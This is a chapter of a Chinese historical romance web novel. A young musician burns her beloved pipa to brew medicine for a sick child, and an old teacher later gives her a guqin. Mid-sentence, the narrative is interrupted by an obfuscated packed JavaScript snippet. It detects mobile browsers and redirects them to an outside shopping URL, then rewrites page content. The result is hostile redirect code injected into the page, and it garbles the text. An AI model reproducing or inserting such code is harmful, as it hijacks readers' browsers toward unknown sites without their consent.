正当他扼腕叹息之时,却听到一阵阵急促的琵琶音从身后传来,却是方才的小娘子所为,那小娘子见此妇人之难恐怕也是无济于事,只得像方才一般弹琴奏曲以聊表安慰。 但过了一刻钟,琴声仍旧不绝于耳,半刻钟后也是如此,此时周遭众人也纷纷躁动,又看一旁夫妇痛哭孩儿,预备上前阻止,但见一旁身形勇猛的镖师银刃微微出鞘,这才按捺住。 他也起身,想要问那小娘子个究竟,却见她起身掷琴于地,琵琶也应声而碎…… 棠鲤麻木地僵着手指拾起地上碎裂的琵琶,将残骸放进燃烬的余灰之中。 “棠鲤,小心些手,我来。”岑燕之蹲在棠鲤身边,小心地将碎了的琵琶从她手上拿下来,指尖不经意相碰,她也没有知觉。 岑燕之看着她的样子,心里也不好受,这琵琶每次拿出来时都依旧如新,一看便知主人定是极为爱惜。 “岑燕之,你的火折子还能用吗?”棠鲤淡淡开口,盯着余烬目不转睛。 岑燕之听闻从腰间荷包中取出火折子,伸手点过去前顿了顿,最后还是将火堆再次引燃…… 药煎好了,妇人小心翼翼地吹吹,一口一口地喂给怀中的孩子。 林轼贤看着眼前一幕,心中感慨万千。 那丈夫看着孩子被妇人哄着终于安稳睡去后,走到林轼贤和那采药人面前,扑通一声跪下了,“感谢恩人救命之恩!” 说罢便以头伏地,行此大礼。林立在林轼贤的示意下赶忙将人扶起,那采药人见状也有些不知所措,并其他人一样呆呆地看着…… 林轼贤拄着拐杖,慢慢走到那丈夫面前,沉声道:“郎君要谢,更应该谢那位小娘子。若非她大义焚琴……此时哪有火来煎药,又如何喂得了孩儿?” 听闻林轼贤之言,那妇人也反应过来,暂且将孩子放在包袱边,也走到丈夫面前,两人又看向棠鲤那边—— 此时棠鲤心中两种情绪交织翻涌,到最后又被深深的后悔所淹没,眼泪止不住地往外掉。 失了琵琶该怎么办?若是到了大城可不可以去再买一把?买一把多少钱?还要去长安,路途遥远花费也不少……再说了,买一把也不是原来的呀。 她走到角落的马儿旁,抱膝坐下,岑燕之默默不语也跟着她走过去,陪在一旁。 几人靠近的脚步声传来,棠鲤也没有抬头,岑燕之倒是扶着佩刀,站起身,向前迈了两步,身子微微挡住棠鲤。 夫妻俩看着岑燕之面无表情地护在棠鲤前面,有些不知所措,下意识看向跟在后面的林轼贤。 林轼贤见状,赶忙上前道:“侠士莫慌,二位夫妻是为感谢小娘子大义凛然,并无他意……” 岑燕之留下一句稍等片刻,才转过身走到棠鲤面前,慢慢蹲下,用着温柔的语气询问她:“可想跟他们说说话?” 棠鲤闻言抹了把脸上的眼泪,眼角红红的,浓密的睫毛还带着湿润的水汽,岑燕之离得近,看得清清楚楚。 “唔……好……” 她起身拍了拍身上的灰尘,岑燕之走在她前面,率先站到那几人面前,棠鲤也一并向前挪动几步,但半个身子隐在他身后,不太想说话的样子。 那夫妻见状还是双双跪下。 外面依旧暴雨如注,棠鲤呆呆地看着他们的嘴唇一张一合、看着他们面上感激涕零的模样,勉强地撑起一丝微笑,客气地回绝了他们的好意,但夫妻俩还是将所剩不多的银钱硬塞在她手中。 棠鲤感受着依旧温热地钱币,再次低低哭了起来…… 众人见状,内心也不甚好受,纷纷出言安慰。 棠鲤依旧昏昏沉沉地,心神皆不在此,岑燕之让她坐下歇息,替他们谢过好意后,转头就见自己的马儿卧了下来,棠鲤则蜷缩着靠坐在马儿旁已经沉沉睡去…… 岑燕之将剩下的炭火向她身边挪动一点,起身前有看到不远处似乎闪着光点,走近去才发现是琵琶上原本镶嵌的螺钿。 他拾起来,放在手心,注视良久,将其放入了荷包中…… 第二日清晨,雨停了。 破庙中被困了许久的旅人们终于又能再次出发,纷纷收拾行囊相互道谢,令棠鲤没想到的是,除了那对夫妇郑重地与她道别以外,其他人也来纷纷行礼告辞,棠鲤对此有些受宠若惊,岑燕之则带着她一一还礼。 破庙外,棠鲤站在破旧的屋檐下盯着顶上滴下来的雨水微微出神,就听身后传来岑燕之的声音。 “走吧,不是还要想吃些甜食的吗?”收拾好行囊,岑燕之牵着马儿走到她身边,闻声提醒。 “是我请你吧?”棠鲤回过神来,淡笑着纠正他的话。 “无妨,待到了长安,我想吃顿油泼面!”岑燕之将棠鲤肩上的行囊接过,笑着对她说。 几句话下来,棠鲤感觉身上轻松多了,心情稍微好了一些。 两人出了破庙,返回到官道上,路上泥泞不堪,岑燕之便拉住马儿,让棠鲤上马坐一段。 棠鲤看着马儿的高度,有些害怕,转头救助岑燕之:“我上不去……” 正当岑燕之思索是否托她上去之时,车轮转动的声音从身后不远处传来。 走到两人身旁时,阿平拉住缰绳,稳住了马儿,林立也放下马凳,打起车帘扶着林轼贤下马车。 “小娘子走得太急,老夫还未与你好好道别!” “您客气了,只是赶路要紧……”棠鲤有些不好意思,说罢赶忙行了一礼。 林轼贤见状笑着捋了捋胡须,拄着拐一步一步走到他们跟前,“前面二里地不远处有个风雨亭,那里有个茶摊,若是摊主还在出摊的话,小娘子和这位侠士不若给老夫赏个脸?一起喝杯茶再走吧?” 棠鲤听闻扭头看了看岑燕之,他没有异议,棠鲤便答应了,正巧又借了他们马车的马凳,棠鲤扶着岑燕之的肩膀上了马。 感受着手掌下传来的温热,棠鲤又攥紧了缰绳,习武的镖师都如他一般身强体壮吗……偷偷观察着默默拉着马儿有在一旁的岑燕之,像他们这样走南闯北之人,若是遇到了特别的事情,大概不会像她今日这般如此手足无措吧? 风雨亭旁守着茶摊的摊主今日不太忙碌,前几日接连大雨,今日一早才将将出摊,没想到刚收拾出桌椅,就迎来了旅者。 林轼贤邀请棠鲤与岑燕之进入风雨亭,林立与阿平将石桌石凳擦干净后便退出亭子到了茶摊上歇息。 “这里的摊主很会泡茶,小娘子尝尝看!老夫请你的。”摊主送上茶水后,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224394|197558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轼贤亲手给两人将茶盏推到面前,又让林立从自家马车中端出来了一盘糕点。 棠鲤本身对茶没什么兴趣,但看到糕点时眼睛瞬间亮了,道过谢后便迫不及待地拈起一枚送入口中,林轼贤笑着喝着茶水看着她,岑燕之也默默地撇了一眼。 “小娘子看起来与我孙女同岁,老夫也不托大,老夫姓林,名轼贤,曾经做过‘教书先生’,小娘子可称老夫一声先生。不知小娘子与这位侠士如何称呼?” “我姓棠,单名鲤,海棠的棠,鲤鱼的鲤。棠鲤见过林先生了。”介绍完自己后,棠鲤又连忙行了一礼。 岑燕之随即也介绍自己,原来“棠鲤”是这两个字……说起来,这位老先生的名号,他好似在哪里听过?但想不起来了…… “棠小娘子的名字起得好啊!况且一手琵琶技艺出神入化,老夫可是很多年没听过如此悦耳的音色了!” “承蒙林先生厚爱!只是……如今往后可能有段时间无法弹了……”棠鲤苦笑着,手指摩挲着茶盏,有些许失落,岑燕之全都看在眼里。 “嗯……确实可惜……”林轼贤抚掌叹息后又缓缓开口:“世人皆以丝竹为雅,今棠小娘子碎琴而续儿命,此一焚竟胜却人间无数清音!这般取舍,便是古之贤者,亦当颔首……” 棠鲤大概听懂了林轼贤话中之意,但她并不觉得自己做的事情有多了不起,“换做其他人,也会这么做的……只是很对不起外祖留给我的琵琶了……” “一炉烟火,两重生机——既暖了汤药,亦暖了老夫这双浊眼啊……” 说罢,唤了林立到身前,耳语几句,却见他面露震惊,有些迟疑:“大人!那可是九公子所赠……” 林轼贤打断他的话,只摆摆手。 棠鲤不知道他们说了什么,就看见林先生的家仆出了亭子向马车那边走去。 “棠小娘子,容请老夫多嘴一问:学了多久的琴了?” 棠鲤听闻他的问话,数着手指思索片刻,答道:“从我七岁开始,先学古琴,又学琵琶,至今已有十六年了……” 岑燕之喝茶的动作顿住了,不禁转头看向棠鲤的面孔,七岁?十六年? 林轼贤也微怔,“老夫还真是未看出来。”不过本朝男女大多婚配较晚,思来想去也实属正常。 这时林立抱着一个长行的物件走了进来,将其放在桌上。 “正好,棠小娘子可否答应老夫一个请求?” “您请说。” 林轼贤抬手将锦布包裹慢慢拆开,露出一个镶金漆纹的长桃木盒,缓缓打开后,一张栗壳色间朱红漆灵机琴赫然出现在眼前! 棠鲤看着这张琴,微微激动的心慢慢冷静下来,等待着林轼贤的话。 她的反应似乎正和林轼贤的意,他将这把琴取出小心翼翼地放在棠鲤面前,“棠小娘子若能用此琴弹奏一曲,老夫便将此琴赠与你!” “这……”棠鲤有些惊讶,但更多的是疑惑和不解,岑燕之虽为武将不太懂琴瑟之事,但他也能看出这把琴价值不菲。 “林先生,这琴过于贵重……” “这琴本是我一个徒弟辞别时送的,虽贵重,但老夫不善琴瑟,‘明珠蒙尘’可不好,棠小娘子意下如何?” 棠鲤点头答应。 拨弦试音后微微调弦,有许久没用过古琴了,棠鲤技法有些生疏,略微思索后,弹奏起来。 曲毕,林轼贤大喜抚掌,岑燕之也微微松了口气,看着棠鲤满面的欣喜,不由得嘴角微微扬起…… 临别之际,棠鲤感激万分,虽失了琵琶,但有先生赠琴,她终于又能重新拾起信心再次踏上去往长安的路了。